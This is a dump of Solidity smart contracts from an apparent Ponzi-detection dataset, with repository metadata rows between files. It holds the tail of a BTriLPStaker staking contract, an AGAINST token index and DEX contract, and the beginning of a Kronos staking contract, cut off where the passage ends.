_stakeMap[_msgSender()].rewardAmount = calcReward(_msgSender(), currentBlockNumber);
_stakeMap[_msgSender()].stakedAmount = _stakeMap[_msgSender()].stakedAmount.sub(amount);
uint256 currentTotalStakedAmount= snapShotHistory.length > 0 ? snapShotHistory[snapShotHistory.length - 1].totalStakedAmount : 0;
if(snapShotHistory.length > 0 && snapShotHistory[snapShotHistory.length-1].blockNumber == currentBlockNumber) {
snapShotHistory[snapShotHistory.length-1].totalStakedAmount = currentTotalStakedAmount.sub(amount);
} else {
SNAPSHOT memory snapShot = SNAPSHOT({
blockNumber: currentBlockNumber,
totalStakedAmount: currentTotalStakedAmount.sub(amount)
});
snapShotHistory.push(snapShot);
}
_stakeMap[_msgSender()].lastSnapShotIndex = snapShotHistory.length - 1;
_stakeMap[_msgSender()].lastClaimBlockNumber = 0;
require(_BTriBnbPairContract.transfer(_msgSender(),
amount),
"BTriLPStaker: unstake failed.");
if(_stakeMap[_msgSender()].stakedAmount == 0) {
for(uint i=0; i<_stakers.length; i++) {
if(_stakers[i] == _msgSender()) {
_stakers[i] = _stakers[_stakers.length-1];
_stakers.pop();
break;
}
}
}
emit Unstaked(_msgSender(), amount);
}
function claim() public {
updateUnstakeAllow();
uint256 currentBlockNumber = block.number;
uint256 rewardAmount = calcReward(_msgSender(), currentBlockNumber);
if(_stakeMap[_msgSender()].lastSnapShotIndex != snapShotHistory.length - 1)
_stakeMap[_msgSender()].lastSnapShotIndex = snapShotHistory.length - 1;
_stakeMap[_msgSender()].lastClaimBlockNumber = currentBlockNumber;
_stakeMap[_msgSender()].rewardAmount = 0;
require(_rewardContract.giveReward(_msgSender(), rewardAmount),
"BTriLPStaker: claim failed.");
emit Claim(_msgSender(), rewardAmount);
}
function endStake() external {
unstake(_stakeMap[_msgSender()].stakedAmount);
claim();
}
function calcReward(address staker, uint256 currentBlockNumber) private view returns (uint256) {
uint256 rewardAmount = _stakeMap[staker].rewardAmount;
uint256 stakedAmount = _stakeMap[staker].stakedAmount;
uint256 lastClaimBlockNumber = _stakeMap[staker].lastClaimBlockNumber;
uint256 rewardPctForStakers = uint256(100).sub(_devRewardPct);
uint256 passedBlockCount;
uint256 prevBlockNumber;
uint256 prevTotalStakedAmount;
for(uint i = _stakeMap[staker].lastSnapShotIndex; i < snapShotHistory.length; i++) {
prevBlockNumber = snapShotHistory[i].blockNumber;
prevTotalStakedAmount = snapShotHistory[i].totalStakedAmount;
if(prevTotalStakedAmount == 0)
break;
passedBlockCount = i == snapShotHistory.length - 1 ? currentBlockNumber.sub(max(prevBlockNumber, lastClaimBlockNumber)) : snapShotHistory[i+1].blockNumber.sub(max(prevBlockNumber, lastClaimBlockNumber));
rewardAmount = rewardAmount.add(_rewardAmountPerBlock.mul(passedBlockCount).mul(1e16).mul(rewardPctForStakers).div(100).mul(stakedAmount).div(prevTotalStakedAmount));
}
return rewardAmount;
}
function max(uint256 a, uint256 b) private pure returns (uint256) {
return a > b ? a : b;
}
function updateUnstakeAllow() private {
if(!_unstakeAllow &&
_unlockCountdownTime > 0 &&
now >= _unlockCountdownTime + _lockTime)
_unstakeAllow = true;
}
function getRewardContract() external view returns (address) {
return address(_rewardContract);
}
function getTotalStakedAmount() external view returns (uint256) {
return snapShotHistory.length > 0 ? snapShotHistory[snapShotHistory.length - 1].totalStakedAmount : 0;
}
function getReward(address staker) external view returns (uint256) {
return calcReward(staker, block.number);
}
function getRewardPoolBalance() external view returns (uint256) {
return _rewardContract.getBalance();
}
function getStakedAmount(address staker) external view returns (uint256) {
return _stakeMap[staker].stakedAmount;
}
function getRewardAmountPerBlock() external view returns (uint256) {
return _rewardAmountPerBlock;
}
function getStakerCount() external view returns (uint256) {
return _stakers.length;
}
function getDevWallet() external view returns (address) {
return _devWallet;
}
function getDevRewardPct() external view returns (uint256) {
return _devRewardPct;
}
function getUnlockCountdownTime() external view returns (uint256) {
return _unlockCountdownTime;
}
function getLockTime() external view returns (uint256) {
return _lockTime;
}
function getDevRewardAmount() external view returns (uint256) {
uint256 currentBlockNumber = block.number;
uint256 passedBlockCount = _devLastBlockNumber > 0 ? currentBlockNumber.sub(_devLastBlockNumber) : snapShotHistory.length > 0 ? currentBlockNumber.sub(snapShotHistory[0].blockNumber) : 0;
uint256 devRewardAmount = passedBlockCount.mul(_rewardAmountPerBlock).mul(1e16).mul(_devRewardPct).div(100);
return devRewardAmount;
}
function getUnstakeAllow() external view returns (bool) {
return _unstakeAllow;
}
function getStakedRank(address staker) external view returns (uint256) {
uint256 rank = 1;
uint256 senderStakedAmount = _stakeMap[staker].stakedAmount;
for(uint i=0; i<_stakers.length; i++) {
if(_stakers[i] != staker && senderStakedAmount < _stakeMap[_stakers[i]].stakedAmount)
rank = rank.add(1);
}
return rank;
}
function setRewardContract(RewardContract rewardContract) external onlyOwner {
require(address(rewardContract) != address(0), 'BTriLPStaker: reward contract address should not be zero address.');
_rewardContract = rewardContract;
emit RewardContractUpdated(address(rewardContract));
}
function setRewardAmountPerBlock(uint256 rewardAmountPerBlock) external onlyOwner {
require(rewardAmountPerBlock >= 1, 'BTriLPStaker: reward amount per block should be greater than 1.');
_rewardAmountPerBlock = rewardAmountPerBlock;
emit RewardAmountPerBlockUpdated(rewardAmountPerBlock);
}
function setDevWallet(address devWallet) public onlyOwner {
require(devWallet != address(0), 'BTriLPStaker: devWallet is zero address.');
_devWallet = devWallet;
emit DevWalletUpdated(devWallet);
}
function setDevRewardPct(uint256 devRewardPct) public onlyOwner {
require(devRewardPct < 4, 'BTriLPStaker: devRewardPct should be less than 4.');
_devRewardPct = devRewardPct;
emit DevRewardPctUpdated(devRewardPct);
}
function setLive() external onlyOwner {
_unlockCountdownTime = now;
emit Live(now);
}
function setUnstakeAllow() external onlyOwner {
_unstakeAllow = true;
emit UnstakeAllowed();
}
function setLockTime(uint256 lockTime) public onlyOwner {
_lockTime = lockTime;
emit LockTimeUpdated(lockTime);
}
function claimDevReward() external {
uint256 currentBlockNumber = block.number;
uint256 passedBlockCount = _devLastBlockNumber > 0 ? currentBlockNumber.sub(_devLastBlockNumber) : snapShotHistory.length > 0 ? currentBlockNumber.sub(snapShotHistory[0].blockNumber) : 0;
uint256 devRewardAmount = passedBlockCount.mul(_rewardAmountPerBlock).mul(1e16).mul(_devRewardPct).div(100);
_devLastBlockNumber = currentBlockNumber;
require(_rewardContract.giveReward(_devWallet, devRewardAmount),
"BTriLPStaker: dev reard claim failed.");
}
}
| 249,854 | 10,623 |
d0b02385755894912b4d52948a4776303cdcb37f3cd42c79d26d271a0465d224
| 16,899 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0xb69d0be87c35f2df6de9dbc759906383078b7e56.sol
| 4,129 | 16,818 |
pragma solidity >= 0.4.24;
//by AGAINST Network Team
interface erc20 {
function name() external returns (string);
function symbol() external returns (string);
function decimals() external returns (uint8);
function transfer(address receiver, uint amount) external;
function transferFrom(address from, address to, uint value) external;
function balanceOf(address tokenOwner) constant external returns (uint balance);
function allowance(address _owner, address _spender) constant external returns (uint remaining);
}
contract againstTokenRegister {
string public name = "AGAINST TKDEX";
string public symbol = "AGAINST";
string public comment = "AGAINST Token Index & Full DEX 1.0";
address internal owner;
uint public indexCount = 0;
uint public registerFee = 0;
uint public ratePlaces = 9;
uint public openMarketFee = 0;
uint public actionFee = 10**15;
uint internal minQtd = (10**18)/(10**5);
event orderPlaced(address token, address tokenPair, address ownerId, uint orderId);
event orderDone(address token, address tokenPair, uint orderId, uint doneId);
event orderCanceled(address token, address tokenPair, uint orderId);
event orderRemovedLowBalance(address token, address tokenPair, uint orderId);
event ctrWithdraw(address wallet, uint value);
struct order {
uint orderId;
address orderOwner;
uint rate;
uint amount;
bool sell;
uint date;
}
struct done {
uint orderId;
address fillOwner;
uint fillAmount;
uint fillDate;
uint rate;
}
struct market {
bool exists;
address tokenPair;
uint ordersCount;
uint donesCount;
mapping(uint => order) orders;
mapping(uint => done) dones;
}
struct voted {
bool like;
bool dislike;
}
struct token {
address tokenBase;
string name;
string symbol;
uint decimals;
uint likesCount;
uint dislikesCount;
uint marketsCount;
mapping(uint => address) marketIndex;
mapping(address => market) markets;
mapping(address => voted) voteStatus;
}
mapping(uint => address) public index;
mapping(address => token) public tokens;
mapping(address => bool) public exists;
constructor() public {
owner = address(msg.sender);
}
function () public {
bool pass = false;
require(pass,"Nothing Here");
}
function getTokenByAddr(address _addr) public view returns (string _name,
string _symbol,
uint _decimals,
uint _marketsCount) {
return (tokens[_addr].name,
tokens[_addr].symbol,
tokens[_addr].decimals,
tokens[_addr].marketsCount);
}
function getTokenByIndex(uint _index) public view returns (address _tokenBase,
string _name,
string _symbol,
uint _decimals,
uint _marketsCount) {
return (tokens[index[_index]].tokenBase,
tokens[index[_index]].name,
tokens[index[_index]].symbol,
tokens[index[_index]].decimals,
tokens[index[_index]].marketsCount);
}
function getLikesByAddr(address _addr) public view returns (uint _likesCount, uint _dislikesCount) {
return (tokens[_addr].likesCount, tokens[_addr].dislikesCount);
}
function getVoteStatus(address _addr) public view returns (bool _like, bool _dislike) {
return (tokens[_addr].voteStatus[msg.sender].like, tokens[_addr].voteStatus[msg.sender].dislike);
}
function getLikesByIndex(uint _index) public view returns (address tokenBase, uint _likesCount, uint _dislikesCount) {
return (tokens[index[_index]].tokenBase, tokens[index[_index]].likesCount, tokens[index[_index]].dislikesCount);
}
function getPairByAddr(address _base, address _pairAddr) public view returns (uint _ordersCount, uint _donesCount, bool _exists) {
return (tokens[_base].markets[_pairAddr].ordersCount,
tokens[_base].markets[_pairAddr].donesCount,
tokens[_base].markets[_pairAddr].exists);
}
function getPairByIndex(address _base, uint _pairIndex) public view returns (address _tokenPair, uint _ordersCount, uint _donesCount) {
return (tokens[_base].markets[tokens[_base].marketIndex[_pairIndex]].tokenPair,
tokens[_base].markets[tokens[_base].marketIndex[_pairIndex]].ordersCount,
tokens[_base].markets[tokens[_base].marketIndex[_pairIndex]].donesCount);
}
function getOrders(address _base, address _pair, uint _orderIndex) public view returns (uint _orderId,
address _owner,
uint _rate,
uint _amount,
bool _sell) {
return (tokens[_base].markets[_pair].orders[_orderIndex].orderId,
tokens[_base].markets[_pair].orders[_orderIndex].orderOwner,
tokens[_base].markets[_pair].orders[_orderIndex].rate,
tokens[_base].markets[_pair].orders[_orderIndex].amount,
tokens[_base].markets[_pair].orders[_orderIndex].sell);
}
function getDones(address _base, address _pair, uint _doneIndex) public view returns (uint _orderId,
address _fillOwner,
uint _fillAmount,
uint _fillDate,
uint _rate) {
return (tokens[_base].markets[_pair].dones[_doneIndex].orderId,
tokens[_base].markets[_pair].dones[_doneIndex].fillOwner,
tokens[_base].markets[_pair].dones[_doneIndex].fillAmount,
tokens[_base].markets[_pair].dones[_doneIndex].fillDate,
tokens[_base].markets[_pair].dones[_doneIndex].rate);
}
function changeOwner(address _newOwner) public {
if (msg.sender == owner) {
owner = _newOwner;
}
}
function registerToken(address _token) public payable {
require((msg.sender == owner) || (msg.value >= registerFee), "Register Fee Very Low");
erc20 refToken = erc20(_token);
if (!exists[_token]) {
indexCount = indexCount+1;
index[indexCount] = _token;
tokens[_token].tokenBase = _token;
tokens[_token].name = refToken.name();
tokens[_token].symbol = refToken.symbol();
tokens[_token].decimals = refToken.decimals();
tokens[_token].likesCount = 0;
tokens[_token].dislikesCount = 0;
tokens[_token].marketsCount = 0;
exists[_token] = true;
}
if (address(this).balance > 0) {
require(owner.send(address(this).balance),"Send error");
}
}
function createMarket(address _token, address _tokenPair) public payable {
require(msg.value >= openMarketFee, "Open Market Fee Very Low");
require(exists[_token] && exists[_tokenPair],"token or tokenPair not listed");
require(!tokens[_token].markets[_tokenPair].exists,"Market already exists");
require(tokens[_token].tokenBase != _tokenPair,"Not allowed token = tokenPair");
tokens[_token].marketsCount = tokens[_token].marketsCount+1;
tokens[_token].marketIndex[tokens[_token].marketsCount] = _tokenPair;
tokens[_token].markets[_tokenPair].tokenPair = _tokenPair;
tokens[_token].markets[_tokenPair].ordersCount = 0;
tokens[_token].markets[_tokenPair].donesCount = 0;
tokens[_token].markets[_tokenPair].exists = true;
}
function createOrder(address _token, address _tokenPair, uint _rate, uint _amount, bool _sell) public payable {
require(msg.value >= actionFee);
require(_token != _tokenPair,"Not allowed token = tokenPair");
require(exists[_token] && exists[_tokenPair],"Token or tokenPair not listed");
require((_rate > 0) && (_rate <= (10**(ratePlaces*2)) && (_amount > 0) && (_amount <= 10**36)),"Invalid Values");
tokens[_token].markets[_tokenPair].ordersCount = tokens[_token].markets[_tokenPair].ordersCount+1;
tokens[_token].markets[_tokenPair].orders[tokens[_token].markets[_tokenPair].ordersCount].orderId = tokens[_token].markets[_tokenPair].ordersCount;
tokens[_token].markets[_tokenPair].orders[tokens[_token].markets[_tokenPair].ordersCount].orderOwner = msg.sender;
tokens[_token].markets[_tokenPair].orders[tokens[_token].markets[_tokenPair].ordersCount].rate = _rate;
tokens[_token].markets[_tokenPair].orders[tokens[_token].markets[_tokenPair].ordersCount].amount = _amount;
tokens[_token].markets[_tokenPair].orders[tokens[_token].markets[_tokenPair].ordersCount].sell = _sell;
tokens[_token].markets[_tokenPair].orders[tokens[_token].markets[_tokenPair].ordersCount].date = now;
emit orderPlaced(_token, _tokenPair, msg.sender, tokens[_token].markets[_tokenPair].ordersCount);
}
function tokenLike(address _token) public {
require(exists[_token], "Token not listed");
if (!tokens[_token].voteStatus[msg.sender].like) {
tokens[_token].likesCount = tokens[_token].likesCount+1;
tokens[_token].voteStatus[msg.sender].like = true;
if (tokens[_token].voteStatus[msg.sender].dislike) {
tokens[_token].dislikesCount = tokens[_token].dislikesCount-1;
tokens[_token].voteStatus[msg.sender].dislike = false;
}
} else {
tokens[_token].likesCount = tokens[_token].likesCount-1;
tokens[_token].voteStatus[msg.sender].like = false;
}
}
function tokenDislike(address _token) public {
require(exists[_token],"Token not listed");
if (!tokens[_token].voteStatus[msg.sender].dislike) {
tokens[_token].dislikesCount = tokens[_token].dislikesCount+1;
tokens[_token].voteStatus[msg.sender].dislike = true;
if (tokens[_token].voteStatus[msg.sender].like) {
tokens[_token].likesCount = tokens[_token].likesCount-1;
tokens[_token].voteStatus[msg.sender].like = false;
}
} else {
tokens[_token].dislikesCount = tokens[_token].dislikesCount-1;
tokens[_token].voteStatus[msg.sender].dislike = false;
}
}
function changeRegisterFee(uint _registerFee) public {
require(msg.sender == owner);
registerFee = _registerFee;
}
function changeOpenMarketFee(uint _openMarketFee) public {
require(msg.sender == owner,"Access denied");
openMarketFee = _openMarketFee;
}
function changeActionFee(uint _actionFee) public {
require(msg.sender == owner,"Access denied");
actionFee = _actionFee;
}
function withdraw() public {
uint amount = address(this).balance;
if (owner.send(amount)) {
emit ctrWithdraw(owner, amount);
}
}
function cancelOrder(uint _orderId, address _token, address _tokenPair) public payable {
require(tokens[_token].markets[_tokenPair].ordersCount > 0, "bof orders");
uint orderAmount = tokens[_token].markets[_tokenPair].orders[_orderId].amount;
erc20 tokenMaker = erc20(tokens[_token].tokenBase);
if (tokens[_token].markets[_tokenPair].orders[_orderId].orderOwner != msg.sender) {
require((tokenMaker.allowance(tokens[_token].markets[_tokenPair].orders[_orderId].orderOwner, address(this)) < orderAmount) ||
(tokenMaker.balanceOf(tokens[_token].markets[_tokenPair].orders[_orderId].orderOwner) < orderAmount), "Only garbage can be removed by you here");
}
uint top = tokens[_token].markets[_tokenPair].ordersCount;
tokens[_token].markets[_tokenPair].ordersCount = tokens[_token].markets[_tokenPair].ordersCount-1;
if (tokens[_token].markets[_tokenPair].orders[top].amount > 0) {
tokens[_token].markets[_tokenPair].orders[_orderId] = tokens[_token].markets[_tokenPair].orders[top];
tokens[_token].markets[_tokenPair].orders[_orderId].orderId = _orderId;
tokens[_token].markets[_tokenPair].orders[top].amount = 0;
}
emit orderCanceled(_token, _tokenPair, _orderId);
if (msg.sender.send(actionFee)) {
emit ctrWithdraw(msg.sender, actionFee);
}
}
function fillOrder(uint _orderID, address _token, address _tokenPair, uint _rate, uint _amountFill) public payable {
require(tokens[_token].markets[_tokenPair].orders[_orderID].orderId > 0,"Not placed");
require((_amountFill > 0) && (_amountFill <= 10**36),"Fill out of range");
require(_rate == tokens[_token].markets[_tokenPair].orders[_orderID].rate,"Rate error");
erc20 tokenMaker = erc20(tokens[_token].tokenBase);
erc20 tokenTaker = erc20(tokens[_token].markets[_tokenPair].tokenPair);
uint amount = (((_amountFill*tokens[_token].markets[_tokenPair].orders[_orderID].rate)/(10**tokens[_tokenPair].decimals))*(10**tokens[_token].decimals))/(10**ratePlaces);
require(tokenTaker.allowance(msg.sender, address(this)) >= _amountFill, "Verify taker approval");
require(tokenTaker.balanceOf(msg.sender) >= _amountFill, "Verify taker balance");
require(tokenMaker.allowance(tokens[_token].markets[_tokenPair].orders[_orderID].orderOwner, address(this)) >= amount, "Verify maker approval");
require(tokenMaker.balanceOf(tokens[_token].markets[_tokenPair].orders[_orderID].orderOwner) >= amount, "Verify maker balance");
require(tokens[_token].markets[_tokenPair].orders[_orderID].amount >= amount,"Amount error");
tokens[_token].markets[_tokenPair].orders[_orderID].amount=tokens[_token].markets[_tokenPair].orders[_orderID].amount-amount;
tokenMaker.transferFrom(tokens[_token].markets[_tokenPair].orders[_orderID].orderOwner, msg.sender,amount);
tokenTaker.transferFrom(msg.sender,tokens[_token].markets[_tokenPair].orders[_orderID].orderOwner,_amountFill);
tokens[_token].markets[_tokenPair].donesCount = tokens[_token].markets[_tokenPair].donesCount+1;
tokens[_token].markets[_tokenPair].dones[tokens[_token].markets[_tokenPair].donesCount].orderId = _orderID;
tokens[_token].markets[_tokenPair].dones[tokens[_token].markets[_tokenPair].donesCount].fillOwner = msg.sender;
tokens[_token].markets[_tokenPair].dones[tokens[_token].markets[_tokenPair].donesCount].fillAmount = _amountFill;
tokens[_token].markets[_tokenPair].dones[tokens[_token].markets[_tokenPair].donesCount].fillDate = now;
tokens[_token].markets[_tokenPair].dones[tokens[_token].markets[_tokenPair].donesCount].rate = _rate;
emit orderDone(_token, _tokenPair, _orderID, tokens[_token].markets[_tokenPair].donesCount);
if (tokens[_token].markets[_tokenPair].orders[_orderID].amount*(10**(18-tokens[_token].decimals)) < minQtd) {
require(tokens[_token].markets[_tokenPair].ordersCount > 0, "bof orders");
uint top = tokens[_token].markets[_tokenPair].ordersCount;
tokens[_token].markets[_tokenPair].ordersCount = tokens[_token].markets[_tokenPair].ordersCount-1;
if (address(tokens[_token].markets[_tokenPair].orders[_orderID].orderOwner).send(actionFee)) {
emit ctrWithdraw(address(tokens[_token].markets[_tokenPair].orders[_orderID].orderOwner), actionFee);
}
if (tokens[_token].markets[_tokenPair].orders[top].amount > 0) {
tokens[_token].markets[_tokenPair].orders[_orderID] = tokens[_token].markets[_tokenPair].orders[top];
tokens[_token].markets[_tokenPair].orders[_orderID].orderId = _orderID;
tokens[_token].markets[_tokenPair].orders[top].amount = 0;
}
emit orderRemovedLowBalance(_token, _tokenPair, _orderID);
}
}
}
| 339,227 | 10,624 |
cfa4cad311d7991fdcc05307d04294d998c04d6d84e278d1692ef26ef859c568
| 25,195 |
.sol
|
Solidity
| false |
472328661
|
Kronos-DaoDefi/contracts
|
b12184c846bc062d1126f4c3fa40403469ab6a11
|
contracts/Staking/Staking.sol
| 4,026 | 16,107 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsKronos {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IDistributor {
function distribute() external returns (bool);
}
interface IDiamondHand {
function deposit(address _to, uint256 amount) external;
}
contract KronosStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Kronos;
address public immutable sKronos;
address public diamondHand;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endKronos;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
constructor (address _Kronos,
address _sKronos,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochKronos) {
require(_Kronos != address(0));
Kronos = _Kronos;
require(_sKronos != address(0));
sKronos = _sKronos;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endKronos: _firstEpochKronos,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
function stake(uint _amount) external returns (bool) {
rebase();
IERC20(Kronos).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(sKronos).safeTransfer(msg.sender, _amount);
return true;
}
function stake(uint _amount, address receiver) external returns (bool) {
rebase();
IERC20(Kronos).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(sKronos).safeTransfer(receiver, _amount);
return true;
}
function unstake(uint _amount, bool _trigger, bool forDiamondHand) external {
require(_amount>0,"invalid amount");
if (_trigger) {
rebase();
}
IERC20(sKronos).safeTransferFrom(msg.sender, address(this), _amount);
if(forDiamondHand && diamondHand != address(0)){
IERC20(Kronos).safeApprove(diamondHand, _amount);
IDiamondHand(diamondHand).deposit(msg.sender, _amount);
}else{
IERC20(Kronos).safeTransfer(msg.sender, _amount);
}
}
function index() public view returns (uint) {
return IsKronos(sKronos).index();
}
function rebase() public {
if(epoch.endKronos <= uint32(block.timestamp)) {
IsKronos(sKronos).rebase(epoch.distribute, epoch.number);
epoch.endKronos = epoch.endKronos.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsKronos(sKronos).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Kronos).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sKronos).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
